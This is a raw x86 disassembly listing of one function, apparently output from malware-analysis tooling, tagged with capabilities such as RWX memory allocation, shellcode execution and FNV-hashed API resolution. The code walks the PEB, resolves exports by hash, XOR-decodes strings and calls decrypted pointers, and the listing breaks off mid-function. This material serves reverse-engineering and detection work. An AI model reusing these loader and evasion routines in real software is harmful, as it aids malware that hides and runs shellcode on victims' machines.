Function at 0x47a950
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
and esp, 0xfffffff8
mov eax, 0x1d38
call fcn.004bc400
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov dword [esp + 0xac4], 0
lea ecx, [esp + 0xab3]
lea eax, [esp + 0xab2]
mov dword [esp], eax
call fcn.00485c00
sub esp, 4
lea eax, [esp + 0xac3]
mov dword [esp + 0xb00], eax
lea eax, [esp + 0xab3]
mov dword [esp + 0xafc], eax
lea eax, [esp + 0xe94]
mov dword [esp + 0xe9c], eax
mov eax, dword [esp + 0xe9c]
mov dword [esp + 0xef8], 0x30
mov ecx, dword [esp + 0xef8]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xef4], ecx
mov ecx, dword [esp + 0xef4]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xe94]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xe88]
mov dword [esp + 0xeac], ecx
mov dword [esp + 0xea8], eax
mov eax, dword [esp + 0xeac]
mov ecx, dword [esp + 0xea8]
mov dword [eax], ecx
mov ecx, dword [esp + 0xea8]
mov dword [esp + 0xefc], ecx
mov ecx, dword [esp + 0xefc]
mov edx, dword [esp + 0xefc]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xea0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xea4], ecx
mov ecx, dword [esp + 0xea8]
add ecx, dword [esp + 0xea0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xea4]
mov dword [eax + 8], ecx
lea eax, [esp + 0xe88]
mov dword [esp + 0xeb0], eax
mov ecx, dword [esp + 0xeb0]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47ac1b
lea eax, [esp + 0xe88]
mov dword [esp + 0xeb4], eax
mov eax, dword [esp + 0xeb4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xe84], eax
mov eax, dword [esp + 0xe84]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xe84], ecx
cmp eax, 0
je 0x47ac19
mov eax, dword [esp + 0xe84]
lea ecx, [esp + 0xe88]
mov dword [esp + 0xecc], ecx
mov dword [esp + 0xec8], eax
mov eax, dword [esp + 0xecc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xec8]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xed4], 0xf0fffaf8
mov dword [esp + 0xed0], 0xa9ec4af0
mov eax, dword [esp + 0xed4]
mov dword [esp + 0xec4], ecx
mov dword [esp + 0xec0], eax
mov eax, dword [esp + 0xec0]
mov dword [esp + 0xebc], eax
mov eax, dword [esp + 0xec4]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xec4], ecx
mov al, byte [eax]
mov byte [esp + 0xebb], al
cmp byte [esp + 0xebb], 0
je 0x47abec
mov ecx, dword [esp + 0xebc]
mov al, byte [esp + 0xebb]
mov dword [esp + 0xf04], ecx
mov byte [esp + 0xf03], al
mov eax, dword [esp + 0xf04]
mov dword [esp + 0x850], eax
movsx eax, byte [esp + 0xf03]
cmp eax, 0x41
jl 0x47abbb
movsx eax, byte [esp + 0xf03]
cmp eax, 0x5a
jg 0x47abbb
movsx eax, byte [esp + 0xf03]
or eax, 0x20
mov dword [esp + 0x84c], eax
jmp 0x47abca
movsx eax, byte [esp + 0xf03]
mov dword [esp + 0x84c], eax
mov eax, dword [esp + 0x850]
mov ecx, dword [esp + 0x84c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xebc], eax
jmp 0x47ab39
mov eax, dword [esp + 0xebc]
mov dword [esp + 0xedc], 0xf0fffaf8
mov dword [esp + 0xed8], 0xa9ec4af0
mov ecx, dword [esp + 0xed8]
cmp eax, ecx
je 0x47ac49
jmp 0x47aaa9
jmp 0x47ac1b
lea eax, [esp + 0xe94]
mov dword [esp + 0xef0], eax
mov eax, dword [esp + 0xef0]
mov ecx, dword [eax]
mov dword [esp + 0xf08], ecx
mov ecx, dword [esp + 0xf08]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47a9e8
mov eax, dword [esp + 0xe84]
lea ecx, [esp + 0xe88]
mov dword [esp + 0xeec], ecx
mov dword [esp + 0xee8], eax
mov eax, dword [esp + 0xeec]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xee4], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xee0], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xee4]
mov edx, dword [esp + 0xee0]
mov esi, dword [esp + 0xee8]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xe98], eax
mov eax, dword [esp + 0xe98]
mov dword [esp + 0x844], eax
mov eax, dword [esp + 0xafc]
mov dword [esp + 0xc30], eax
mov eax, dword [esp + 0xc30]
mov dword [esp + 0xc34], eax
mov eax, dword [esp + 0xc34]
mov dword [esp + 0x848], eax
mov dword [esp + 0xce8], eax
mov eax, dword [esp + 0xce8]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47ad79
mov eax, dword [esp + 0x848]
mov dword [esp + 0xdfc], eax
mov dword [esp + 0xdf8], eax
mov eax, dword [esp + 0xdfc]
mov dword [esp + 0x840], eax
mov dword [esp + 0xdf4], 0
cmp dword [esp + 0xdf4], 0x10
jge 0x47ad77
mov eax, dword [esp + 0x840]
mov ecx, dword [esp + 0xdf8]
mov edx, dword [esp + 0xdf4]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xdf4]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xdf4]
add eax, 1
mov dword [esp + 0xdf4], eax
jmp 0x47ad2c
jmp 0x47ad79
mov eax, dword [esp + 0x844]
mov ecx, dword [esp + 0x848]
mov dword [esp], ecx
call eax
sub esp, 4
call fcn.00479dd0
lea ecx, [esp + 0xaa1]
lea eax, [esp + 0xaa0]
mov dword [esp], eax
call fcn.00485c60
sub esp, 4
lea eax, [esp + 0xab1]
mov dword [esp + 0xb08], eax
lea eax, [esp + 0xaa1]
mov dword [esp + 0xb04], eax
lea eax, [esp + 0xf1c]
mov dword [esp + 0xf24], eax
mov eax, dword [esp + 0xf24]
mov dword [esp + 0xf80], 0x30
mov ecx, dword [esp + 0xf80]
mov ecx, dword fs:[ecx]
mov dword [esp + 0xf7c], ecx
mov ecx, dword [esp + 0xf7c]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xf1c]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xf10]
mov dword [esp + 0xf34], ecx
mov dword [esp + 0xf30], eax
mov eax, dword [esp + 0xf34]
mov ecx, dword [esp + 0xf30]
mov dword [eax], ecx
mov ecx, dword [esp + 0xf30]
mov dword [esp + 0xf84], ecx
mov ecx, dword [esp + 0xf84]
mov edx, dword [esp + 0xf84]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xf28], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xf2c], ecx
mov ecx, dword [esp + 0xf30]
add ecx, dword [esp + 0xf28]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xf2c]
mov dword [eax + 8], ecx
lea eax, [esp + 0xf10]
mov dword [esp + 0xf38], eax
mov ecx, dword [esp + 0xf38]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47b03c
lea eax, [esp + 0xf10]
mov dword [esp + 0xf3c], eax
mov eax, dword [esp + 0xf3c]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xf0c], eax
mov eax, dword [esp + 0xf0c]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xf0c], ecx
cmp eax, 0
je 0x47b03a
mov eax, dword [esp + 0xf0c]
lea ecx, [esp + 0xf10]
mov dword [esp + 0xf54], ecx
mov dword [esp + 0xf50], eax
mov eax, dword [esp + 0xf54]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xf50]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xf5c], 0x9aec21d
mov dword [esp + 0xf58], 0xbb5d548d
mov eax, dword [esp + 0xf5c]
mov dword [esp + 0xf4c], ecx
mov dword [esp + 0xf48], eax
mov eax, dword [esp + 0xf48]
mov dword [esp + 0xf44], eax
mov eax, dword [esp + 0xf4c]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xf4c], ecx
mov al, byte [eax]
mov byte [esp + 0xf43], al
cmp byte [esp + 0xf43], 0
je 0x47b00d
mov ecx, dword [esp + 0xf44]
mov al, byte [esp + 0xf43]
mov dword [esp + 0xf8c], ecx
mov byte [esp + 0xf8b], al
mov eax, dword [esp + 0xf8c]
mov dword [esp + 0x83c], eax
movsx eax, byte [esp + 0xf8b]
cmp eax, 0x41
jl 0x47afdc
movsx eax, byte [esp + 0xf8b]
cmp eax, 0x5a
jg 0x47afdc
movsx eax, byte [esp + 0xf8b]
or eax, 0x20
mov dword [esp + 0x838], eax
jmp 0x47afeb
movsx eax, byte [esp + 0xf8b]
mov dword [esp + 0x838], eax
mov eax, dword [esp + 0x83c]
mov ecx, dword [esp + 0x838]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xf44], eax
jmp 0x47af5a
mov eax, dword [esp + 0xf44]
mov dword [esp + 0xf64], 0x9aec21d
mov dword [esp + 0xf60], 0xbb5d548d
mov ecx, dword [esp + 0xf60]
cmp eax, ecx
je 0x47b06a
jmp 0x47aeca
jmp 0x47b03c
lea eax, [esp + 0xf1c]
mov dword [esp + 0xf78], eax
mov eax, dword [esp + 0xf78]
mov ecx, dword [eax]
mov dword [esp + 0xf90], ecx
mov ecx, dword [esp + 0xf90]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47ae09
mov eax, dword [esp + 0xf0c]
lea ecx, [esp + 0xf10]
mov dword [esp + 0xf74], ecx
mov dword [esp + 0xf70], eax
mov eax, dword [esp + 0xf74]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xf6c], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xf68], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xf6c]
mov edx, dword [esp + 0xf68]
mov esi, dword [esp + 0xf70]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xf20], eax
mov eax, dword [esp + 0xf20]
mov dword [esp + 0x830], eax
mov eax, dword [esp + 0xb04]
mov dword [esp + 0xc2c], eax
mov eax, dword [esp + 0xc2c]
mov dword [esp + 0xc38], eax
mov eax, dword [esp + 0xc38]
mov dword [esp + 0x834], eax
mov dword [esp + 0xce4], eax
mov eax, dword [esp + 0xce4]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47b19a
mov eax, dword [esp + 0x834]
mov dword [esp + 0xdf0], eax
mov dword [esp + 0xdec], eax
mov eax, dword [esp + 0xdf0]
mov dword [esp + 0x82c], eax
mov dword [esp + 0xde8], 0
cmp dword [esp + 0xde8], 0x10
jge 0x47b198
mov eax, dword [esp + 0x82c]
mov ecx, dword [esp + 0xdec]
mov edx, dword [esp + 0xde8]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
mov ecx, dword [esp + 0xde8]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xde8]
add eax, 1
mov dword [esp + 0xde8], eax
jmp 0x47b14d
jmp 0x47b19a
mov eax, dword [esp + 0x830]
mov edx, dword [esp + 0x834]
mov ecx, esp
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
lea ecx, [esp + 0xa88]
mov dword [esp + 0xb1c], ecx
mov dword [esp + 0xb18], eax
mov ecx, dword [esp + 0xb1c]
mov dword [esp + 0x828], ecx
mov eax, esp
mov dword [eax], 0x4eb3a0
call fcn.00489990
sub esp, 4
jmp 0x47b1ec
mov ecx, dword [esp + 0xb18]
mov eax, esp
mov dword [eax], ecx
lea ecx, [esp + 0xb0c]
call fcn.00489990
sub esp, 4
jmp 0x47b210
mov eax, dword [esp + 0x828]
mov dword [esp + 0xe04], eax
lea edx, [esp + 0xb0c]
mov dword [esp + 0xe00], edx
mov ecx, dword [esp + 0xe04]
mov dword [esp + 0x824], ecx
mov eax, esp
mov dword [eax], edx
call fcn.004b4e20
sub esp, 4
jmp 0x47b248
mov ecx, dword [esp + 0x824]
call fcn.00489be0
mov ecx, dword [esp + 0x824]
mov dword [esp + 0x820], eax
call fcn.004a8ea0
mov ecx, dword [esp + 0x820]
shl eax, 1
mov dword [esp + 0xe34], ecx
mov dword [esp + 0xe30], eax
mov byte [esp + 0xe2f], 1
test byte [0x4f5a78], 1
jne 0x47b294
call fcn.00487200
cmp dword [esp + 0xe34], 0
je 0x47b2a8
cmp dword [esp + 0xe30], 0
jne 0x47b2b5
mov byte [esp + 0xe3b], 0
jmp 0x47b9bd
mov dword [esp + 0xe28], 0
test byte [esp + 0xe2f], 1
je 0x47b54c
mov ecx, dword [esp + 0xe34]
mov edx, dword [esp + 0xe30]
call fcn.00488090
mov dword [esp + 0xe28], eax
mov eax, dword [esp + 0xe28]
test byte [eax + 5], 1
jne 0x47b54a
mov eax, dword [esp + 0xe28]
mov dword [esp + 0xe58], eax
cmp dword [esp + 0xe58], 0
je 0x47b323
cmp dword [0x4f5a7c], 0
je 0x47b323
cmp dword [0x4f5a80], 0
jne 0x47b330
mov byte [esp + 0xe5f], 0
jmp 0x47b531
mov dword [esp + 0xe54], 0
cmp dword [esp + 0xe54], 4
jae 0x47b3a6
mov dword [esp + 0xe50], 0
cmp dword [esp + 0xe50], 1
jae 0x47b393
mov eax, dword [esp + 0xe50]
movzx esi, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe58]
mov ecx, dword [esp + 0xe54]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe50]
add eax, 1
mov dword [esp + 0xe50], eax
jmp 0x47b350
mov eax, dword [esp + 0xe54]
add eax, 1
mov dword [esp + 0xe54], eax
jmp 0x47b33b
mov ecx, dword [0x4f5a80]
mov eax, dword [esp + 0xe58]
movzx eax, byte [eax + 4]
mov dword [esp], eax
call fcn.004ab540
sub esp, 4
mov eax, dword [eax]
mov dword [esp + 0xe4c], eax
mov dword [esp + 0xe48], 0
cmp dword [esp + 0xe48], 4
jae 0x47b442
mov dword [esp + 0xe44], 0
cmp dword [esp + 0xe44], 1
jae 0x47b42f
mov eax, dword [esp + 0xe44]
movzx edx, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe48]
movzx ecx, byte [esp + eax + 0xe4c]
xor ecx, edx
mov byte [esp + eax + 0xe4c], cl
mov eax, dword [esp + 0xe44]
add eax, 1
mov dword [esp + 0xe44], eax
jmp 0x47b3eb
mov eax, dword [esp + 0xe48]
add eax, 1
mov dword [esp + 0xe48], eax
jmp 0x47b3d6
mov eax, dword [esp + 0xe4c]
mov esi, dword [esp + 0xe58]
mov ecx, dword [esi]
mov edx, dword [esi + 0xa]
movzx edi, byte [esi + 5]
and edi, 1
mov esi, esp
mov dword [esi], edi
call eax
sub esp, 4
mov byte [esp + 0x81f], al
jmp 0x47b46e
mov al, byte [esp + 0x81f]
and al, 1
mov byte [0x4f62f4], al
mov dword [esp + 0xe4c], 0
mov eax, dword [esp + 0xe58]
mov cl, byte [eax + 5]
and cl, 1
dec cl
mov eax, dword [esp + 0xe58]
and cl, 1
mov byte [eax + 5], cl
mov dword [esp + 0xe40], 0
cmp dword [esp + 0xe40], 4
jae 0x47b519
mov dword [esp + 0xe3c], 0
cmp dword [esp + 0xe3c], 1
jae 0x47b506
mov eax, dword [esp + 0xe3c]
movzx esi, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe58]
mov ecx, dword [esp + 0xe40]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe3c]
add eax, 1
mov dword [esp + 0xe3c], eax
jmp 0x47b4c3
mov eax, dword [esp + 0xe40]
add eax, 1
mov dword [esp + 0xe40], eax
jmp 0x47b4ae
mov al, byte [0x4f62f4]
and al, 1
mov byte [esp + 0xe5f], al
jmp 0x47b531
test byte [esp + 0xe5f], 1
jne 0x47b548
mov byte [esp + 0xe3b], 0
jmp 0x47b9bd
jmp 0x47b54a
jmp 0x47b54c
mov eax, dword [esp + 0xe34]
mov dword [esp + 0xe24], eax
mov dword [esp + 0xe20], 0
mov eax, dword [esp + 0xe20]
cmp eax, dword [esp + 0xe30]
jae 0x47b73c
mov dword [esp + 0xe1c], 0
cmp dword [esp + 0xe1c], 4
jae 0x47b608
mov dword [esp + 0xe18], 0
cmp dword [esp + 0xe18], 4
jae 0x47b5f2
mov eax, dword [esp + 0xe1c]
movzx ecx, byte [eax + 0x4f5b44]
lea eax, [0x4f5a84]
shl ecx, 2
add eax, ecx
mov ecx, dword [esp + 0xe18]
movzx esi, byte [eax + ecx]
mov eax, dword [esp + 0xe24]
mov ecx, dword [esp + 0xe20]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe18]
add eax, 1
mov dword [esp + 0xe18], eax
jmp 0x47b599
mov eax, dword [esp + 0xe1c]
add eax, 1
mov dword [esp + 0xe1c], eax
jmp 0x47b584
mov dword [esp + 0xe14], 0
cmp dword [esp + 0xe14], 8
jae 0x47b697
mov dword [esp + 0xe10], 0
cmp dword [esp + 0xe10], 4
jae 0x47b681
mov eax, dword [esp + 0xe14]
movzx ecx, byte [eax + 0x4f5b48]
lea eax, [0x4f5ac4]
shl ecx, 2
add eax, ecx
mov ecx, dword [esp + 0xe10]
movzx esi, byte [eax + ecx]
mov eax, dword [esp + 0xe24]
mov ecx, dword [esp + 0xe20]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe10]
add eax, 1
mov dword [esp + 0xe10], eax
jmp 0x47b628
mov eax, dword [esp + 0xe14]
add eax, 1
mov dword [esp + 0xe14], eax
jmp 0x47b613
mov dword [esp + 0xe0c], 0
cmp dword [esp + 0xe0c], 0xc
jae 0x47b726
mov dword [esp + 0xe08], 0
cmp dword [esp + 0xe08], 4
jae 0x47b710
mov eax, dword [esp + 0xe0c]
movzx ecx, byte [eax + 0x4f5b50]
lea eax, [0x4f5b04]
shl ecx, 2
add eax, ecx
mov ecx, dword [esp + 0xe08]
movzx esi, byte [eax + ecx]
mov eax, dword [esp + 0xe24]
mov ecx, dword [esp + 0xe20]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe08]
add eax, 1
mov dword [esp + 0xe08], eax
jmp 0x47b6b7
mov eax, dword [esp + 0xe0c]
add eax, 1
mov dword [esp + 0xe0c], eax
jmp 0x47b6a2
mov eax, dword [esp + 0xe20]
add eax, 1
mov dword [esp + 0xe20], eax
jmp 0x47b565
test byte [esp + 0xe2f], 1
je 0x47b9ab
mov eax, dword [esp + 0xe28]
test byte [eax + 5], 1
je 0x47b9a9
mov eax, dword [esp + 0xe28]
mov dword [esp + 0xe7c], eax
cmp dword [esp + 0xe7c], 0
je 0x47b785
cmp dword [0x4f5a7c], 0
je 0x47b785
cmp dword [0x4f5a80], 0
jne 0x47b792
mov byte [esp + 0xe83], 0
jmp 0x47b993
mov dword [esp + 0xe78], 0
cmp dword [esp + 0xe78], 4
jae 0x47b808
mov dword [esp + 0xe74], 0
cmp dword [esp + 0xe74], 1
jae 0x47b7f5
mov eax, dword [esp + 0xe74]
movzx esi, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe7c]
mov ecx, dword [esp + 0xe78]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe74]
add eax, 1
mov dword [esp + 0xe74], eax
jmp 0x47b7b2
mov eax, dword [esp + 0xe78]
add eax, 1
mov dword [esp + 0xe78], eax
jmp 0x47b79d
mov ecx, dword [0x4f5a80]
mov eax, dword [esp + 0xe7c]
movzx eax, byte [eax + 4]
mov dword [esp], eax
call fcn.004ab540
sub esp, 4
mov eax, dword [eax]
mov dword [esp + 0xe70], eax
mov dword [esp + 0xe6c], 0
cmp dword [esp + 0xe6c], 4
jae 0x47b8a4
mov dword [esp + 0xe68], 0
cmp dword [esp + 0xe68], 1
jae 0x47b891
mov eax, dword [esp + 0xe68]
movzx edx, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe6c]
movzx ecx, byte [esp + eax + 0xe70]
xor ecx, edx
mov byte [esp + eax + 0xe70], cl
mov eax, dword [esp + 0xe68]
add eax, 1
mov dword [esp + 0xe68], eax
jmp 0x47b84d
mov eax, dword [esp + 0xe6c]
add eax, 1
mov dword [esp + 0xe6c], eax
jmp 0x47b838
mov eax, dword [esp + 0xe70]
mov esi, dword [esp + 0xe7c]
mov ecx, dword [esi]
mov edx, dword [esi + 0xa]
movzx edi, byte [esi + 5]
and edi, 1
mov esi, esp
mov dword [esi], edi
call eax
sub esp, 4
mov byte [esp + 0x81e], al
jmp 0x47b8d0
mov al, byte [esp + 0x81e]
and al, 1
mov byte [0x4f62f4], al
mov dword [esp + 0xe70], 0
mov eax, dword [esp + 0xe7c]
mov cl, byte [eax + 5]
and cl, 1
dec cl
mov eax, dword [esp + 0xe7c]
and cl, 1
mov byte [eax + 5], cl
mov dword [esp + 0xe64], 0
cmp dword [esp + 0xe64], 4
jae 0x47b97b
mov dword [esp + 0xe60], 0
cmp dword [esp + 0xe60], 1
jae 0x47b968
mov eax, dword [esp + 0xe60]
movzx esi, byte [eax + 0x4f5009]
mov eax, dword [esp + 0xe7c]
mov ecx, dword [esp + 0xe64]
movzx edx, byte [eax + ecx]
xor edx, esi
mov byte [eax + ecx], dl
mov eax, dword [esp + 0xe60]
add eax, 1
mov dword [esp + 0xe60], eax
jmp 0x47b925
mov eax, dword [esp + 0xe64]
add eax, 1
mov dword [esp + 0xe64], eax
jmp 0x47b910
mov al, byte [0x4f62f4]
and al, 1
mov byte [esp + 0xe83], al
jmp 0x47b993
test byte [esp + 0xe83], 1
jne 0x47b9a7
mov byte [esp + 0xe3b], 0
jmp 0x47b9bd
jmp 0x47b9a9
jmp 0x47b9ab
mov byte [esp + 0xe3b], 1
jmp 0x47b9bd
lea ecx, [esp + 0xb0c]
call fcn.004b36e0
mov eax, esp
lea ecx, [esp + 0xa88]
mov dword [eax + 4], ecx
lea ecx, [esp + 0xa94]
mov dword [eax], ecx
call fcn.004726d0
jmp 0x47b9e5
lea eax, [esp + 0xa88]
mov dword [esp + 0xaf4], eax
mov ecx, dword [esp + 0xaf4]
mov dword [esp + 0x818], ecx
call fcn.00489be0
mov ecx, eax
call fcn.004894f0
mov ecx, dword [esp + 0x818]
call fcn.00489be0
mov ecx, dword [esp + 0x818]
mov dword [esp + 0x814], eax
call fcn.004a8ea0
mov ecx, dword [esp + 0x814]
mov edx, eax
add edx, edx
mov eax, esp
mov dword [eax + 8], edx
mov dword [eax], ecx
mov dword [eax + 4], 0
call sub.msvcrt.dll_memset
mov ecx, dword [esp + 0x818]
call fcn.004b36e0
mov eax, esp
lea ecx, [esp + 0xa6e]
mov dword [eax], ecx
lea ecx, [esp + 0xa6f]
call fcn.00485cc0
sub esp, 4
jmp 0x47ba72
lea eax, [esp + 0xa7f]
mov dword [esp + 0xb24], eax
lea eax, [esp + 0xa6f]
mov dword [esp + 0xb20], eax
lea eax, [esp + 0xfa4]
mov dword [esp + 0xfac], eax
mov eax, dword [esp + 0xfac]
mov dword [esp + 0x1008], 0x30
mov ecx, dword [esp + 0x1008]
mov ecx, dword fs:[ecx]
mov dword [esp + 0x1004], ecx
mov ecx, dword [esp + 0x1004]
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov dword [eax], ecx
mov eax, dword [esp + 0xfa4]
mov eax, dword [eax + 0x18]
lea ecx, [esp + 0xf98]
mov dword [esp + 0xfbc], ecx
mov dword [esp + 0xfb8], eax
mov eax, dword [esp + 0xfbc]
mov ecx, dword [esp + 0xfb8]
mov dword [eax], ecx
mov ecx, dword [esp + 0xfb8]
mov dword [esp + 0x100c], ecx
mov ecx, dword [esp + 0x100c]
mov edx, dword [esp + 0x100c]
mov edx, dword [edx + 0x3c]
mov esi, dword [ecx + edx + 0x78]
mov dword [esp + 0xfb0], esi
mov ecx, dword [ecx + edx + 0x7c]
mov dword [esp + 0xfb4], ecx
mov ecx, dword [esp + 0xfb8]
add ecx, dword [esp + 0xfb0]
mov dword [eax + 4], ecx
mov ecx, dword [esp + 0xfb4]
mov dword [eax + 8], ecx
lea eax, [esp + 0xf98]
mov dword [esp + 0xfc0], eax
mov ecx, dword [esp + 0xfc0]
mov eax, dword [ecx + 4]
cmp eax, dword [ecx]
je 0x47bd01
lea eax, [esp + 0xf98]
mov dword [esp + 0xfc4], eax
mov eax, dword [esp + 0xfc4]
mov eax, dword [eax + 4]
mov eax, dword [eax + 0x18]
mov dword [esp + 0xf94], eax
mov eax, dword [esp + 0xf94]
mov ecx, eax
add ecx, 0xffffffff
mov dword [esp + 0xf94], ecx
cmp eax, 0
je 0x47bcff
mov eax, dword [esp + 0xf94]
lea ecx, [esp + 0xf98]
mov dword [esp + 0xfdc], ecx
mov dword [esp + 0xfd8], eax
mov eax, dword [esp + 0xfdc]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov edx, dword [eax + 0x20]
mov eax, ecx
add eax, edx
mov edx, dword [esp + 0xfd8]
mov eax, dword [eax + edx*4]
add ecx, eax
mov dword [esp + 0xfe4], 0x371d3832
mov dword [esp + 0xfe0], 0xde46a3b6
mov eax, dword [esp + 0xfe4]
mov dword [esp + 0xfd4], ecx
mov dword [esp + 0xfd0], eax
mov eax, dword [esp + 0xfd0]
mov dword [esp + 0xfcc], eax
mov eax, dword [esp + 0xfd4]
mov ecx, eax
add ecx, 1
mov dword [esp + 0xfd4], ecx
mov al, byte [eax]
mov byte [esp + 0xfcb], al
cmp byte [esp + 0xfcb], 0
je 0x47bcd2
mov ecx, dword [esp + 0xfcc]
mov al, byte [esp + 0xfcb]
mov dword [esp + 0x1014], ecx
mov byte [esp + 0x1013], al
mov eax, dword [esp + 0x1014]
mov dword [esp + 0x810], eax
movsx eax, byte [esp + 0x1013]
cmp eax, 0x41
jl 0x47bca1
movsx eax, byte [esp + 0x1013]
cmp eax, 0x5a
jg 0x47bca1
movsx eax, byte [esp + 0x1013]
or eax, 0x20
mov dword [esp + 0x80c], eax
jmp 0x47bcb0
movsx eax, byte [esp + 0x1013]
mov dword [esp + 0x80c], eax
mov eax, dword [esp + 0x810]
mov ecx, dword [esp + 0x80c]
xor eax, ecx
imul eax, eax, 0x1000193
mov dword [esp + 0xfcc], eax
jmp 0x47bc1f
mov eax, dword [esp + 0xfcc]
mov dword [esp + 0xfec], 0x371d3832
mov dword [esp + 0xfe8], 0xde46a3b6
mov ecx, dword [esp + 0xfe8]
cmp eax, ecx
je 0x47bd2f
jmp 0x47bb8f
jmp 0x47bd01
lea eax, [esp + 0xfa4]
mov dword [esp + 0x1000], eax
mov eax, dword [esp + 0x1000]
mov ecx, dword [eax]
mov dword [esp + 0x1018], ecx
mov ecx, dword [esp + 0x1018]
mov ecx, dword [ecx]
mov dword [eax], ecx
jmp 0x47bace
mov eax, dword [esp + 0xf94]
lea ecx, [esp + 0xf98]
mov dword [esp + 0xffc], ecx
mov dword [esp + 0xff8], eax
mov eax, dword [esp + 0xffc]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x1c]
mov dword [esp + 0xff4], ecx
mov ecx, dword [eax]
mov edx, dword [eax + 4]
add ecx, dword [edx + 0x24]
mov dword [esp + 0xff0], ecx
mov eax, dword [eax]
mov ecx, dword [esp + 0xff4]
mov edx, dword [esp + 0xff0]
mov esi, dword [esp + 0xff8]
movzx edx, word [edx + esi*2]
add eax, dword [ecx + edx*4]
mov dword [esp + 0xfa8], eax
mov eax, dword [esp + 0xfa8]
mov dword [esp + 0x804], eax
mov eax, dword [esp + 0xb20]
mov dword [esp + 0xc28], eax
mov eax, dword [esp + 0xc28]
mov dword [esp + 0xc3c], eax
mov eax, dword [esp + 0xc3c]
mov dword [esp + 0x808], eax
mov dword [esp + 0xce0], eax
mov eax, dword [esp + 0xce0]
movsx eax, byte [eax + 0xf]
cmp eax, 0
je 0x47be5f
mov eax, dword [esp + 0x808]
mov dword [esp + 0xde4], eax
mov dword [esp + 0xde0], eax
mov eax, dword [esp + 0xde4]
mov dword [esp + 0x800], eax
mov dword [esp + 0xddc], 0
cmp dword [esp + 0xddc], 0x10
jge 0x47be5d
mov eax, dword [esp + 0x800]
mov ecx, dword [esp + 0xde0]
mov edx, dword [esp + 0xddc]
movsx ecx, byte [ecx + edx]
xor ecx, 0xffffffc4
xor ecx, 0xc2
mov dl, cl
